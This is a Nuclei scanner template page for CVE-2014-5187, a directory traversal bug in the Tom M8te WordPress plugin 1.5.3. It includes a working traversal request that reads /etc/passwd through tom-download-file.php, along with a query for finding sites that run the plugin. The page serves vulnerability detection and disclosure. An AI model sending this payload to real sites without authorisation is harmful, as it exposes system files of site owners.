Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal

ID: CVE-2014-5187

Severity: medium

Author: DhiyaneshDK

Tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,tom-m8te

Description

Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.

YAML Source

id: CVE-2014-5187

info:
  name: Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.
  reference:
    - https://wpscan.com/vulnerability/3095c3f3-9cdc-49f8-8478-c2922f0a442a/
    - https://codevigilant.com/disclosure/wp-plugin-tom-m8te-local-file-inclusion/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5187
    cwe-id: CWE-22
    epss-score: 0.00845
    epss-percentile: 0.82498
    cpe: cpe:2.3:a:tom_m8te_plugin_project:tom-m8te_plugin:1.5.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tom_m8te_plugin_project
    product: tom-m8te_plugin
    framework: wordpress
    publicwww-query: "/wp-content/plugins/tom-m8te/"
  tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,tom-m8te

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/tom-m8te/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207727c767a02b3021b14fe55ed9cd203e77d838cc292bdadf6059581d4cb6ee37022100c8d4b78a283d9d41de3a2f6c335778c5d738a619df516c6ae7d809b2a1757294:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-5187.yaml"

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